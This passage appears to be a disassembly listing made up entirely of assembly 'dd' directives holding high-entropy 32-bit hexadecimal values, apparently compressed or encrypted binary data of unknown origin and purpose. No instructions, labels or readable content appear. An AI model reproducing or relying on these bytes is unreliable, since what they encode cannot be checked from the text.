		dd 510A6518h, 69003474h, 0EACA616Bh, 9CB02AEh, 119504B6h
		dd 1FD9DCD1h, 8C076818h, 61650B48h, 0B507CF40h,	908BE9F4h
		dd 904A3D17h, 4B97A863h, 3F2D4C46h, 0A04846C1h,	801E3CDCh
		dd 0E901BE0Eh, 154CFBCFh, 36BD0F9h, 58BD0774h, 4917F114h
		dd 51E78930h, 186179DCh, 6E6B0714h, 0EB45CB7Ah,	15E48C45h
		dd 94900B60h, 2FACF518h, 209505A8h, 7C99571Ch, 301902D1h
		dd 860087C8h, 20532117h, 3050BD0Dh, 85611F4Dh, 96847118h
		dd 0E500D494h, 717DFAEh, 0E89EDE71h, 86CD2241h,	0E8B6FBF6h
		dd 199F77DCh, 0A82DD150h, 0C0407A65h, 0E90F498Ah, 0A2D500FDh
		dd 0CE13AC1Eh, 2477F190h, 60BEE40Bh, 0D93CE09Ch, 1FB4807Dh
		dd 8E40FC67h, 6E47FF20h, 0A72C178Fh, 72E0A581h,	3119F2ECh
		dd 0F57BECE1h, 0CCFF7005h, 280206C6h, 544E1761h, 2068A8C8h
		dd 0B309704Ch, 0DA13C0F8h, 6F7430B8h, 26352818h, 8BD70506h
		dd 3E490F65h, 9900C90Ch, 5509E86Fh, 0F04B7725h,	549BE084h
		dd 6FC47DC0h, 4B2EE92Dh, 4676A8E8h, 80A43921h, 93FF072Eh
		dd 9633914Dh, 249D2FC4h, 0CC801A11h, 0F9DC4D98h, 97CE1425h
		dd 859191E8h, 7C815483h, 3A009441h, 4096053Eh, 7F508941h
		dd 80CADCh, 91D8B87h, 70E4DE3Fh, 0C0279403h, 0EAA5D36Ch
		dd 0E9084D0Eh, 95017280h, 93033ED9h, 0BD04E7AAh, 0A90F8AD8h
		dd 0E0AC4D90h, 0E65FF946h, 8636CB04h, 0B8E88E8Bh, 72CFD82h
		dd 88F48209h, 0D948D16Bh, 2A31820h, 0B5AEDF4Ah,	0B472C9F8h
		dd 0CC959028h, 465ECCB6h, 562E1691h, 0F0D1B416h, 0D44252B6h
		dd 9E84D881h, 78D1E958h, 76181B59h, 0D80DAE02h,	0D1E3E974h
		dd 0C175C254h, 833B1701h, 66D4A180h, 1890966Dh,	0B4CEC85Bh
		dd 7D5C7008h, 8F755201h, 69CE4588h, 4983842Ch, 0B7C63DEDh
		dd 0BD8901B8h, 3C209A63h, 0E4ECCC5Fh, 19E8084Ch, 0A3FE018Ch
		dd 8FBFC26Dh, 2D9A8F4h,	565ACF05h, 0A404F1E8h, 0D200A319h
		dd 25711357h, 44A629D2h, 4801CDE0h, 4278A2EEh, 69988913h
		dd 0FF162480h, 0C37F27BDh, 2C6F482h, 0E927FCDAh, 0CAF069ABh
		dd 5FA19C10h, 71763900h, 915E993Eh, 2D7001B4h, 94A06CAAh
		dd 0F9907122h, 0C1386873h, 0F2D1954h, 9CED14h, 398BF6E2h
		dd 55438ADFh, 844C4485h, 9154084h, 5F989D12h, 0AA84789Eh
		dd 57328093h, 9F12399Ch, 64CEE703h, 0DCC016C8h,	142DEF13h
		dd 4873DF0Ah, 28C1FACh,	0CB641BFBh, 4449413h, 9131BA12h
		dd 93669C42h, 44147CBFh, 4CC531Ch, 8D012454h, 930BBB70h
		dd 240008ACh, 0B193155h, 0CFE2B8ABh, 2F4C85Ch, 2B730B58h
		dd 4C417DE2h, 0E0CC415Bh, 0B4DB000Fh, 0DA314EEDh, 0CB5BC2B8h
		dd 37B0C4FDh, 82796613h, 3C51EDADh, 21181A79h, 172D0900h
		dd 3CAA48A6h, 81370943h, 5882B46Bh, 0AF0797D9h,	705C5329h
		dd 2501E4EDh, 94C4C727h, 172F84DDh, 0B158F018h,	4A8E74B6h
		dd 36D1619Dh, 882AD355h, 25002FA0h, 0A9A1678Dh,	130C7B0Fh
		dd 23025A10h, 0F4FA053Ch, 9D27C454h, 8294918Ch,	5566B5E3h
		dd 9AFF3821h, 801478DDh, 728C8B74h, 0F8A5018Ah,	176F6A70h
		dd 0E0166013h, 515E2F04h, 0D8904911h, 81D4F597h, 0A071F8E6h
		dd 773EB807h, 712C674h,	27662008h, 63329AE1h, 221018D6h
		dd 70446E13h, 92218DDh,	0F0FD9297h, 0B57BE040h,	8C76A045h
		dd 80A42FE0h, 3D87D603h, 0B107064Fh, 242C7B15h,	1DDD4DC2h
		dd 0E28FE400h, 0B87D4CECh, 51996510h, 0A214633Ch, 13443018h
		dd 8C91996Fh, 3029D8AFh, 52587CFDh, 0EA0EBD39h,	614084CDh
		dd 0ECC3FFC6h, 0C89740AFh, 0F7801C91h, 0C59140D7h, 0C2241498h
		dd 0DC20408Eh, 11206D20h, 4CD29713h, 2200DE6Ch,	0BA88C8E1h
		dd 4060B6EFh, 0CF2A8F6Dh, 951312Dh, 3234F00Ch, 0AD46583Bh
		dd 4858AA55h, 380C13DCh, 401C045Ah, 0B4D8B42Dh,	1110359Fh
		dd 0B290809Ah, 0D823DAh, 80FD8D45h, 39F781E4h, 8E585CD8h
		dd 0C5134E8Ch, 0B8F4B948h, 48B50D67h, 3CB8388Dh, 0BC9080h
		dd 0EDC102B7h, 0B3F7652h, 0D704CB45h, 1D91109Fh, 5001C787h
		dd 0CE2F4CBCh, 0BE1DF4FAh, 2016F592h, 9475C88h,	0CE07E531h
		dd 969168D9h, 9648B440h, 14BA2748h, 0A053085Bh,	46D75Bh
		dd 11C263E1h, 0B53E2866h, 88B5F4Ah, 0CE0263DFh,	5C36D78Ah
		dd 0F9070088h, 8FE3FAB2h, 0CEC75E4h, 8609F09Eh,	0F1B0510Eh
		dd 25DF1821h, 0E45AB16Ah, 45B03B00h, 2D8F90BFh,	44F109FBh
		dd 1056C922h, 5C047997h, 0D8819CA1h, 97308498h,	30BFF552h
		dd 6CF13B05h, 1880A9F5h, 85A90B4Eh, 1799C2B7h, 0E0746DFFh
		dd 11D817EBh, 8BDC805Eh, 13948C68h, 39373CD5h, 0A8C02D90h
		dd 0C5F430D5h, 44D1FD69h, 1AD26800h, 595C413Ch,	0EF06099Bh
		dd 78C81165h, 630037A3h, 7CFE768Bh, 489EB94h, 0EF268159h
		dd 6C3491D7h, 0F9DB0212h, 8EB48A50h, 0B82183BCh, 0AC809461h
		dd 110095FEh, 4F28BD1Ch
		dd 974C24D6h, 0E100C8B7h, 51696123h, 0A7811778h, 0BA9C0952h
		dd 6C5E3450h, 20097088h, 661D1081h, 93130E6Dh, 0FC2088h
		dd 0D85CCF26h, 11C53EA4h, 0F8873F1Eh, 630E0F9h,	1894DFB5h
		dd 0E91B3145h, 0D7094F81h, 0F1EC230Eh, 185D7998h, 52982D23h
		dd 0B50A7403h, 9A0C5DBAh, 28255D40h, 8210872Ch,	8DB1E204h
		dd 457280A0h, 5B0F560Eh, 0C0F5D86Ah, 287695BCh,	558C00A3h
		dd 2693CBFDh, 0F8B94247h, 4C1802D1h, 9F413400h,	0C7B99B3Eh
		dd 49150876h, 5020DBDh,	475A3CB5h, 601FC444h, 4ED82E03h
		dd 7DF49CC2h, 0E9E91540h, 9035420h, 0C10AC292h,	3799CF9h
		dd 6B00CE18h, 6FE327B6h, 2D2FCDCFh, 0DC81F929h,	2A0481B2h
		dd 1F88348Fh, 191D69CAh, 9A922602h, 4464473Dh, 6C9B6095h
		dd 0AD580452h, 0B89413E5h, 21A1C4D0h, 74708D07h, 0ECFCA89Fh
		dd 5A048C5Eh, 9D03CD26h, 2E0044A2h, 0A0DDA6F0h,	0DE096A96h
		dd 8BC52A3Ch, 8CE00E78h, 433E26Eh, 0F9408F7Eh, 7842AB9Bh
		dd 0DEBC72FEh, 93465ED4h, 51E88400h, 3D01454Bh,	0F3D1EC3Ch
		dd 0FDF91A60h, 388B2AB5h, 5980649Ah, 7BA6800Ch,	8F7AA712h
		dd 3B7D631Fh, 0FE1CC680h, 131D03D8h, 0B32D87DBh, 3093A2ECh
		dd 9C07BDD3h, 0BEDE8C6Fh, 0FCD09E62h, 0E13500DCh, 61445303h
		dd 28C5CD5Fh, 1FC84CCBh, 0C5E8CFC0h, 349DBFA0h,	0EC925791h
		dd 9E0E80B4h, 0B632E248h, 0CA07DE70h, 99D10F7h,	18DDE781h
		dd 705F468h, 0A76670B5h, 85050610h, 3186E6Ch, 8DB09FE7h
		dd 11176858h, 344ED94Dh, 28FC328Bh, 26302C94h, 0EEB46518h
		dd 0C1EDEC80h, 693CC921h, 6000254Bh, 3BE1C1A4h,	86D71438h
		dd 4360ED97h, 0CD804F49h, 5E087A1Eh, 85843D17h,	0E82C8507h
		dd 52CD0260h, 0D40C3519h, 1F467680h, 409D1C00h,	0B0A5513Fh
		dd 899DB670h, 0DB705930h, 2C6360ECh, 0E0980348h, 0BD8740BAh
		dd 4E48B8FDh, 1F324092h, 43822091h, 0E86128B8h,	818455F8h
		dd 0EC877760h, 0A4E7E52h, 0A4B840D3h, 0CB136D00h, 2F115D3Eh
		dd 6E4B7965h, 0FE0C00D4h, 6C5F4E25h, 113097Fh, 80EED8Ah
		dd 20EC2CB4h, 7B0D008Ch, 483B086Ah, 4E05A0A9h, 0A77D288Fh
		dd 209B4CD2h, 7364BD07h, 1048F9CBh, 5503C08h, 0CBD060DDh
		dd 0B4843470h, 0F9043B60h, 22B0D598h, 2C3C8A0h,	27FDCC5Dh
		dd 5CC0B6E7h, 4C053CCFh, 0A2E7B7Dh, 0FC10F4E8h,	0A2742720h
		dd 0F9EDC2E8h, 1816D954h, 1F457969h, 48033BC7h,	658C9048h
		dd 7A290Dh, 34B56C83h, 97DD707Fh, 0F4437B05h, 74BCE6F2h
		dd 0F076E889h, 3A7512D6h, 294B0169h, 30414BAEh,	0F52D28D1h
		dd 6508408Ah, 0ED89C012h, 0F2D4D2C5h, 0CDA99200h, 852971CAh
		dd 0B7550738h, 5912C70Fh, 0DE94B08Ah, 0A4CD38C0h, 4A12CEDBh
		dd 4F2C9066h, 0F8798D48h, 0E46D13Dh, 2B55FA67h,	19802D9h
		dd 7690D049h, 0DAB22A5Eh, 54B89CC0h, 0C5B9C000h, 0D9958C67h
		dd 3CDE7DB1h, 303C319h,	9964A4D8h, 0B5C073E3h, 0ED01307Eh
		dd 80575C22h, 898841Ah,	76DC21A9h, 7C033075h, 0B600668h
		dd 7DDFE062h, 0B99580C5h, 0F3419A00h, 99A0AF40h, 8B76658h
		dd 980E21B2h, 0E05A41A2h, 0AA8DBC87h, 0A5031CA4h, 1AE2C11Eh
		dd 0E0662EE1h, 8F7B1B17h, 820CDF77h, 0C175139Fh, 0A32B1E72h
		dd 0FA524A6h, 0E8838905h, 210377E1h, 7D58E953h,	54F8DEEAh
		dd 886480F2h, 5800D1B0h, 887CD892h, 1E3C6A3h, 4F75C7BDh
		dd 0D495C482h, 3D006678h, 1BAD3641h, 60FF1EA7h,	0E84A884Dh
		dd 0E130EA77h, 0E0E25163h, 50EE38h, 0B93523Ah, 5C85AAD8h
		dd 0E1F8860Ch, 7C296Bh,	78E4E59Eh, 9C756873h, 4AF4EA06h
		dd 0F6209B0Bh, 0B28F053Eh, 80A54228h, 982F6D36h, 295E8A3Ch
		dd 0EA028043h, 0CE931Bh, 6BE640F4h, 8DC0B860h, 0C257374Fh
		dd 0DC7363A8h, 419BCCB0h, 0B740F211h, 80BCB388h, 1B141A3h
		dd 3251D31h, 2F8D08EAh,	50005903h, 95E67329h, 0C0810B8Ah
		dd 1AF0ACB1h, 0F6060798h, 0DE0F77A5h, 21966008h, 481AE8C1h
		dd 71ECD848h, 0E7D6D40Fh, 6B7EA582h, 0C0EEDC08h, 0EA7F58EBh
		dd 5922F846h, 58D3B600h, 0D446516h, 3C0E482Ch, 6700CD22h
		dd 1789C9DAh, 59B3B37h,	0A4BDACFCh, 0E89C2044h,	0AF44D733h
		dd 1892729Dh, 20721018h, 83F9EDCEh, 6B5707B9h, 0AF87C50h
		dd 129254C5h, 21418724h, 71B31D0h, 5A5085BBh, 900876E0h
		dd 1AEDC089h, 0DE46079Bh, 0E5CC887Fh, 0BADC1A02h, 4094F4A6h
		dd 0A0ECC93Ch, 54368F44h, 64A2E833h, 6074601Bh,	109E1AF6h
		dd 0C8A40607h, 0EEC380A9h, 71F57B1Ah, 0D4161E00h, 0D59B5D28h
		dd 424F0022h, 9CC79FB0h, 0EA794C9Dh, 41A5541Dh,	3C1C8F90h
		dd 601BC215h, 689D37h, 111F1FFFh, 3C1977h, 0CC0715ECh
		dd 0DF0D0EFh, 0D8AB0263h, 0A52C2028h, 307F048Ch, 625422EAh
		dd 77DF20B3h, 0D3025130h, 37AE8818h, 0F0A26361h, 482F3E4Dh
		dd 720770C2h, 66CC45Bh,	940D694Eh, 0C8AD0237h, 32EF2842h
		dd 0A4396FFCh, 5AC428F0h, 58D2B541h, 201AE027h,	7D87D1Dh
		dd 0F44957D2h, 11501D72h, 0ED23805Eh, 17BBF16h,	9F77B1CCh
		dd 80A76484h, 53423EE9h, 504919D4h, 8E8BE2h, 791015B1h
		dd 0CC834148h, 68166892h, 0F401A299h, 0C1167FAh, 18D9BAD8h
		dd 7084479Ch, 0CA79026Ch, 0B1C4B8A7h, 0D5DD0360h, 0F496511Ch
		dd 834FFAC3h, 408105A8h, 2C31F3Eh, 182188BCh, 5A11889Dh
		dd 248F3D8Bh, 0B1E211CFh, 0B360F74Eh, 3016429Fh, 20087219h
		dd 419DC2D2h, 36876C61h, 0F7B52254h, 0FEB5220h,	27032BD1h
		dd 0D4C00092h, 0C2C845AAh, 0A9CA1C12h, 4CE80801h, 20E458FCh
		dd 0E6A30C28h, 0FD0C0D7h, 8494574Ch, 0D17409h, 8E14DBF6h
		dd 0C0908874h, 5F4EA76Bh, 0DE586460h, 0D9BE13F5h, 18765070h
		dd 9C1A04F4h, 32A41607h, 0ECC520A8h, 5100DA1Ah,	0F6C823D8h
		dd 6622A21h, 0E6179574h, 6C01E0A0h, 0E5D9914Dh,	68A4B047h
		dd 94467440h, 0C26C3302h, 0C0C146CAh, 25D8F8D1h, 0E4F2C92Ah
		dd 0A2677312h, 473B1C40h, 5BAC35Ch, 824B19D0h, 0CECC40C1h
		dd 0EA17F42Dh, 0FC029702h, 41ED7D42h, 0CC19A14Ch, 2223D630h
		dd 0AD1174h, 8D308BDBh,	493993Ch, 761F217Ah, 0EAF088A2h
		dd 58D71E8Ch, 38D89673h, 0DF00B218h, 0F5676458h, 116C446Dh
		dd 0C07DECh, 41E2205Ch,	1336B0AAh, 593D761h, 9556FB00h
		dd 0C86C8BA0h, 5B6DC1B5h, 20C3C50Ch, 571419E0h,	23285FABh
		dd 419901DEh, 63A740F0h, 0A19B82C8h, 0D750E041h, 0E187015Eh
		dd 337074Ch, 67508058h,	0A305ED3Dh, 0A13F24F6h,	0A82A3D00h
		dd 49A880A4h, 7867D9Eh,	8308639Bh, 687500CBh, 80A358B7h
		dd 438D1990h, 9A9BC618h, 60568740h, 3CCEB15Bh, 52058389h
		dd 62958D7Bh, 6C03886Eh, 6F134A78h, 22D480F4h, 6092E21Fh
		dd 5B199213h, 0B123003Ah, 3CC54E00h, 48E2E0B3h,	5925476h
		dd 3E58AF30h, 0B023E0h,	6C8B3EFh, 0EA0C490Ch, 0B8B9BB33h
		dd 8A471026h, 0E88448A1h, 54008C5Bh, 0BD30C1EAh, 0A8A067A3h
		dd 0F51BD4h, 74AACDDDh,	37B992F9h, 6480EA3Ah, 9C60D5C0h
		dd 4023F541h, 0BC11FFh,	4241A486h, 3D3B174h, 2AA9C046h
		dd 4DF15735h, 0B807CFC4h, 7DF267E5h, 8B9C696Eh,	91149718h
		dd 25C780B0h, 0F383A5h,	395AF20Bh, 0FFE1CDC5h, 410D5800h
		dd 6CF64F14h, 75C324A1h, 668308ACh, 0D2335A0Eh,	0ACC83CCBh
		dd 1F3003CBh, 44C3BD33h, 0C42288FAh, 20E20B57h,	841D88E8h
		dd 7D80B291h, 9D987FDDh
		dd 626A2Ch, 944676h, 1AB6437h, 242F8D8Bh, 87D44C3Fh, 70A0403Ch
		dd 0C32E93DEh, 94D908B1h, 0F107B218h, 19FBFEBAh, 48278CDFh
		dd 0F20F8C88h, 0B4079A1Ah, 5141A054h, 0A42A3FC3h, 8B0CBE80h
		dd 62D35B5h, 8519FFE2h,	6A0C0F5Dh, 70E855C0h, 2002CF03h
		dd 89E0C3AFh, 8104246Ch, 14084466h, 55450021h, 9529ECC3h
		dd 44C320C1h, 370864E9h, 27E81Eh, 0EAED815Dh, 60A0B0Eh
		dd 95BDE3FCh, 0D0301824h, 860F2407h, 0C015136h,	1C564688h
		dd 8988C35Eh, 4015C474h, 7EC35646h, 9D8B0D5Bh, 885A2955h
		dd 41249E6h, 47F59589h,	6B0DE381h, 0C7048EE4h, 71BE6647h
		dd 0F0DB0BB7h, 42E19E85h, 5A305247h, 4689E4C3h,	182254h
		dd 0C0C35242h, 69E33DB2h, 0FDB52B1Bh, 0BD83907Ah, 840A5116h
		dd 10847E88h, 0B9DE98Ch, 60BD7189h, 16BF3015h, 0C7ECE4DEh
		dd 11D8550h, 18504DA9h,	23C37258h, 16114489h, 0C3504000h
		dd 8938E649h, 27198515h, 295F2ADAh, 5B1C5346h, 5C8988C3h
		dd 43441AC4h, 0BF6D8053h, 0D20085B7h, 8D2950C4h, 0A6062865h
		dd 0C80FE15Bh, 81CC015h, 0A50376BEh, 0B70F67FDh, 0E010E5F0h
		dd 8D5F142Ch, 5166D9FFh, 0C3725918h, 0CA4C8921h, 0C7D58992h
		dd 1BFD6702h, 0FF238100h, 43CEE5FEh, 50BEA28h, 6F5AC566h
		dd 55480354h, 0F485BD8Bh, 0C4F6F347h, 6C088304h, 0E2602D42h
		dd 2EBE3017h, 0FF0CFE73h, 601FF195h, 138C500Fh,	0B126AE9h
		dd 0EF860346h, 0FC803A2Ch, 20009425h, 0C9E5A942h, 0E41C7EAh
		dd 50F88B90h, 18E8DA94h, 0ACDF88Ch, 5620A38Dh, 5FFE03D9h
		dd 8FE477E9h, 0C11A8804h, 0F49F676Bh, 4E50A91Dh, 34091A4h
		dd 649BA7B0h, 62ED6019h, 0F22C0167h, 499D2999h,	0CEFF501Ch
		dd 0C309EA59h, 270E674h, 11D2D6Dh, 34D1B533h, 7149E4A2h
		dd 9ABBC9Dh, 946DA38h, 57520C00h, 3960BD01h, 895F5E65h
		dd 17A92A8Dh, 0D8B624E5h, 5C26DE3Bh, 0D8047178h, 0C789BACBh
		dd 1CEF81E4h, 4350B7ABh, 27A9B509h, 8B3D7D71h, 13B150C3h
		dd 4786182h, 41F1A630h,	84FFDB2Ah, 0F78A9121h, 2BF450E2h
		dd 83EC93D8h, 8BF853A3h, 0F1E650FBh, 595688FBh,	0B5FF0B22h
		dd 53B70713h, 0C421AC9h, 3016E274h, 0E3480CCBh,	8C18F806h
		dd 3B765E01h, 0BF6632EBh, 0FD449ED9h, 18888DCEh, 35834BC0h
		dd 0E82A2637h, 0ADE040F4h, 0CE00FB25h, 2B42DAACh, 16CEA4Ch
		dd 13D580Fh, 34515FF8h,	0C4830310h, 0E3083085h,	40114416h
		dd 0BD4FEF7Fh, 678400F0h, 889AF3EEh, 9C02DEB0h,	3C7DD7CCh
		dd 0BCC48361h, 919E8402h, 0ECDE8080h, 2FB8A06Dh, 42FBB72Ah
		dd 0C3C2341Eh, 835C3C40h, 7755694h, 7F819D15h, 0BC43D60Ah
		dd 623F15E1h, 6C001A23h, 0C7F4BDEBh, 0D02050FBh, 67A748E5h
		dd 2EE02DEh, 5D423D3Eh,	1411C99Dh, 0B529F780h, 1CB9159Dh
		dd 1A038109h, 4407C77Fh, 0D1186016h, 890F2413h,	5D844911h
		dd 0DE94612h, 3DA8010Bh, 0CB1C6C51h, 56E22050h,	9A9B9412h
		dd 6181AF4Eh, 6DCEA997h, 190FB220h, 9658FFBFh, 4C5F1857h
		dd 7C291FC3h, 5747C0EBh, 9B067DC3h, 0EAFFCACDh,	0A8882E4Fh
		dd 0B589832Fh, 0FA1630E1h, 4B3F07B9h, 0EB011623h, 0C183D5E9h
		dd 44A547C2h, 83796016h, 208B9063h, 3B021B1Dh, 50860FD9h
		dd 0C4D3E701h, 0F8376017h, 5AB362D3h, 0EEC41619h, 0E275D952h
		dd 7E1B301Ah, 9DFF330Ah, 8100DAB3h, 0F62175CFh,	43F0B2C1h
		dd 0E2D942D3h, 0C1463018h, 80DA7A01h, 8158D01h,	0C4F7B2A6h
		dd 887C8E5Bh, 677FC116h, 0E98441A3h, 0DD2B0306h, 1700836Fh
		dd 6F08B8E7h, 0F51D0F01h, 24E5343Dh, 4A352F3h, 0AE311BE2h
		dd 16F1C8D0h, 2412F77h,	2BC985CAh, 5749E903h, 15A0335Ch
		dd 0E6FC8710h, 68AF4902h, 67C08B14h, 621B4456h,	57407FF1h
		dd 3C263199h, 253949D2h, 94C37D8h, 272F7EDDh, 85C795C1h
		dd 0FD9F6435h, 7021FF16h, 0B0F9B00Dh, 0BEC72D5Bh, 37DC22F5h
		dd 85C3CF59h, 0E931191Fh, 0E8C00B0Eh, 8B00F716h, 91FE2BC4h
		dd 0A3CC1B0h, 85FF2D42h, 9D010223h, 0F7C53219h,	0FDED126h
		dd 0D43FBC8h, 26680477h, 0C95B810Bh, 8A21721Bh,	0F1128B90h
		dd 0BC81A69Bh, 70E6362Bh, 8F015A91h, 9D091CAFh,	52000F11h
		dd 692EB58Bh, 0BCA1982Eh, 0F21817D1h, 0ADBED402h, 50F9B503h
		dd 396D9828h, 1E849A58h, 9B70E87Eh, 0C217C096h,	2F5D794h
		dd 893628ADh, 1C4A559Dh, 18441347h, 203E5E60h, 0B89BCC26h
		dd 7F144674h, 0DA17DAA1h, 1411CA9Dh, 820F0A83h,	8451350h
		dd 2E7B188h, 0AC2C6962h, 96407F50h, 775CA1C7h, 220CC154h
		dd 0D8FBEC69h, 1999A8Ah, 1AAF7307h, 0E819D9DDh,	0F738A2E9h
		dd 311CC8FFh, 60F206FAh, 1C88764Bh, 0C5035AC0h,	0DCAE1F7Fh
		dd 8B548107h, 65014D95h, 722B2CAAh, 80AFE958h, 31E305A9h
		dd 0BB8503C6h, 4418D21h, 0E2412E42h, 8BE6381Bh,	64D26504h
		dd 8114EAh, 60030FBDh, 0E7FEDE2Eh, 6E61C80Ch, 0E0E4845h
		dd 38C1BF8h, 0FFAD020Dh, 0D8EA6857h, 13059A61h,	2571D08Dh
		dd 5E5B15B7h, 501F6D8Bh, 4201D789h, 0E18358B8h,	24851BC0h
		dd 0EC0768E1h, 64008C17h, 0BEA2718Fh, 6DF9DC0Fh, 28E2763Ah
		dd 8C1CEC2Eh, 87F66400h, 0A8CDE1F4h, 57AB5428h,	0B5B88B06h
		dd 66C431A1h, 0DD8E6061h, 0EC01788h, 0B8B27892h, 50DE96C9h
		dd 6C006167h, 94C3754Ch, 98E16h, 0E383F99Bh, 0BF554417h
		dd 35958909h, 81363825h, 7B280AE3h, 9F9545Ah, 74481DD9h
		dd 7D832DE9h, 5134818h,	8C19F8h, 0F6D38DFDh, 0B5895C34h
		dd 0E0A7D5Bh, 0BD41398Bh, 33040BA5h, 494657A3h,	272BB03Ch
		dd 0B44906B6h, 1D13E858h, 29768C00h, 0C50BBD40h, 0D7BA0037h
		dd 4FFE48Bh, 7F743B5Ah,	0E753DA26h, 0B82AA908h,	0DAA0E9A5h
		dd 9EEB779Dh, 6119CE00h, 8ED385EEh, 0F72D1F1Ch,	998B14C8h
		dd 0D02AABD4h, 492B5C69h, 98C17FCh, 0DBA52B21h,	681F1298h
		dd 20751304h, 31843E9Dh, 52E074A6h, 0D748BF0Fh,	1C6ED70Eh
		dd 0B2919009h, 49121A0Bh, 6FE00D6Dh, 52799D8Bh,	0D326A32Ch
		dd 30C50858h, 0EEF36234h, 16B8B54Ch, 1B13038Ch,	0D4B866C5h
		dd 317981CCh, 0E00B0423h, 918C1F35h, 0B819C17h,	0BB667583h
		dd 0C3206FDh, 26A570D8h, 60668284h, 546EF655h, 9B251A82h
		dd 3CB8F07Dh, 68EDEB24h, 92212909h, 89D6145h, 0BB615112h
		dd 465E1249h, 50089803h, 0D671B7F3h, 7D9F6F3Dh,	0A5CF503h
		dd 62B58D29h, 2619564Bh, 0C5D67C81h, 6C874658h,	1AC41EA7h
		dd 0A5464E60h, 1B3CC802h, 99F88BBCh, 0E91219A6h, 0A9003844h
		dd 0BF914758h, 87BCB3h,	88555EAh, 614849D2h, 0A7348F05h
		dd 57568B26h, 23805ADBh, 4D858956h, 0CD74334Dh,	655B2932h
		dd 7CF7F1C0h, 17C00FE9h, 795C72D6h, 387600DDh, 3D2C08FFh
		dd 9628E20Dh, 0B7B3FEA2h, 44E90778h, 961F8E12h,	0AD40E226h
		dd 2F06917Ch, 22C02C66h, 16A90034h, 0D830F89h, 0B40CEB9h
		dd 2A2D2C3h, 0F09435CEh, 305B85C7h, 8DE93A6h, 63873B82h
		dd 0B1090211h, 9D1D615Ah, 6B801811h, 0E25A756Dh, 0A6C88102h
		dd 605D936Fh, 0BEBD394h, 0E99D6107h, 0E55364EAh, 96562D70h
		dd 2C02DC7Ch, 0ADCCD29Dh, 60CB90E8h, 88A200BCh,	115E5DA8h
		dd 0A6038266h, 0ECDC4D84h, 0C62782CBh, 0C02011Eh, 10325308h
		dd 95BD20FAh, 0EC2E8D20h, 75E928C1h, 8C66092Ch,	5BE1A8D8h
		dd 12010835h, 0C01DB5FFh, 7C858DE7h, 0FC097A3Bh, 2C77D048h
		dd 0FE40F7E5h
		dd 670CEFC1h, 0CD043C68h, 5702C8FAh, 2950DF4h, 8495FFC3h
		dd 8D88E91Ah, 0C18525C6h, 68569600h, 0C53130DFh, 1BDD7EA9h
		dd 339141Ah, 311270Eh, 1A6A5004h, 6E56057Ch, 0C3611200h
		dd 0EBECE0C1h, 9104B00h, 0C53C2F0Eh, 3DAF01Ah, 0D41CA4ACh
		dd 0E48B5CD2h, 3134CE80h, 871BF53Ah, 0D129B327h, 0C7DD5B90h
		dd 17E63E2Ah, 1CDF7A7Eh, 29A6DB67h, 4128F001h, 0D427E600h
		dd 0E9C3727Dh, 1A0C6016h, 3DBD83F5h, 0CA96A0BAh, 0F8111511h
		dd 810170B8h, 4DA45C7h,	40CEC271h, 5469BDC1h, 0B6C0CB1Eh
		dd 0D500DC17h, 0BA7BCFFFh, 25950153h, 6A68293Dh, 97C630D1h
		dd 22120975h, 740C04B5h, 7A535013h, 92D06EB8h, 359D8D00h
		dd 0DEA008B0h, 58565BD3h, 8611201Ch, 0AF82231Ah, 38BBB725h
		dd 7DC40500h, 3226BF66h, 40049CD6h, 1F14121Dh, 0A1A800Eh
		dd 53AA89EDh, 528A5019h, 14002E51h, 850AD131h, 53000F7h
		dd 49ED74B4h, 71766991h, 802E682Fh, 0F5FFE7Eh, 0BDB51331h
		dd 46D045Ah, 0E074A624h, 16C46CB9h, 0C37E83Ah, 3DB0D0D8h
		dd 1990F988h, 7850E6B3h, 0C451DDD6h, 45C709E9h,	0C70A0DFh
		dd 9849439h, 5A59938Bh,	0A1818C04h, 0B8A6697Fh,	0BE6416E6h
		dd 0D7ED013Dh, 0A18BFE9Dh, 1BD1D229h, 0E2005118h, 4883F072h
		dd 0B1E8C9EBh, 0D6050078h, 74B5240Bh, 0F35A0C00h, 0EC61E7C6h
		dd 817B011Eh, 4B2367F7h, 85648A2Fh, 87A08D68h, 810895C0h
		dd 323875EAh, 7C244BC1h, 465C7E28h, 8E4C001Dh, 0FB9BE327h
		dd 742E1694h, 8A9488AFh, 34100C00h, 0FC95B346h,	6B1904E8h
		dd 816937DAh, 231E0D7Ah, 54D022EAh, 0BB7953h, 2302730Ch
		dd 0F796F139h, 0E60E0B72h, 493A598Eh, 4798B05Fh, 59D2E23h
		dd 0BD8B84AAh, 6885D039h, 0D42774E8h, 0CE0087B7h, 8161C8F0h
		dd 3A240534h, 6F634ED3h, 364600D8h, 8CABC40Bh, 8B0C138Dh
		dd 0C2D764D0h, 60250E24h, 0C381BA0Bh, 0F4DAA0B9h, 0B253589Ah
		dd 0C897EB49h, 0C801469Ch, 0A9286687h, 24F01CA3h, 79EB26D8h
		dd 0B2D30009h, 0C1815BB6h, 0B32C207Ch, 42C0965h, 4144674h
		dd 0ED8D0B57h, 0AAA188E1h, 0E10427D1h, 10DD1026h, 0ADC82BCDh
		dd 0A953899Fh, 4057194Ch, 5B22406Dh, 5085D4AEh,	18601DC4h
		dd 3307C9DCh, 0CFFE2130h, 4A687B00h, 4C08732Dh,	98052D81h
		dd 3A400788h, 1C23E6h, 0B63D1752h, 8B159DC7h, 97E5DAAAh
		dd 0D115876Eh, 2B82EE60h, 25C019Dh, 5405D092h, 0BA2410E1h
		dd 0C081AE24h, 0BA4811D1h, 21264309h, 10FE267Ah, 0D21E591Fh
		dd 19C8BDCBh, 121568C0h, 80E4007Eh, 13F2E781h, 29124EC2h
		dd 9CC52DB5h, 1D8D6C80h, 39BAA886h, 4E0107E0h, 0A5465FB9h
		dd 8B9B602Fh, 115C258Dh, 9533A05Dh, 8448FBF5h, 805B9A57h
		dd 220F5674h, 0AF900587h, 0F76BF20Ah, 6C417459h, 25800BE8h
		dd 70305C9Bh, 7602CD8Fh, 0E6B22BA8h, 0B56360F5h, 0E8BAA965h
		dd 837D413Bh, 60DB0570h, 894E0F6Eh, 70D95A54h, 0E7325F89h
		dd 40105625h, 0AB01A2F1h, 53FB3832h, 0CBE4F417h, 30A40057h
		dd 92D50E48h, 0C32C6FBFh, 463733B2h, 1215C90Eh,	58434816h
		dd 0FD4098Ah, 3046D8BFh, 1A44DE87h, 0EA1BE60h, 0C0CB2C0Ch
		dd 5211F451h, 0F517BC34h, 803FDE39h, 737C47BDh,	92F57172h
		dd 0D58D105Ch, 3F6C8B2Bh, 63EE0025h, 77ABCD62h,	0C05397Eh
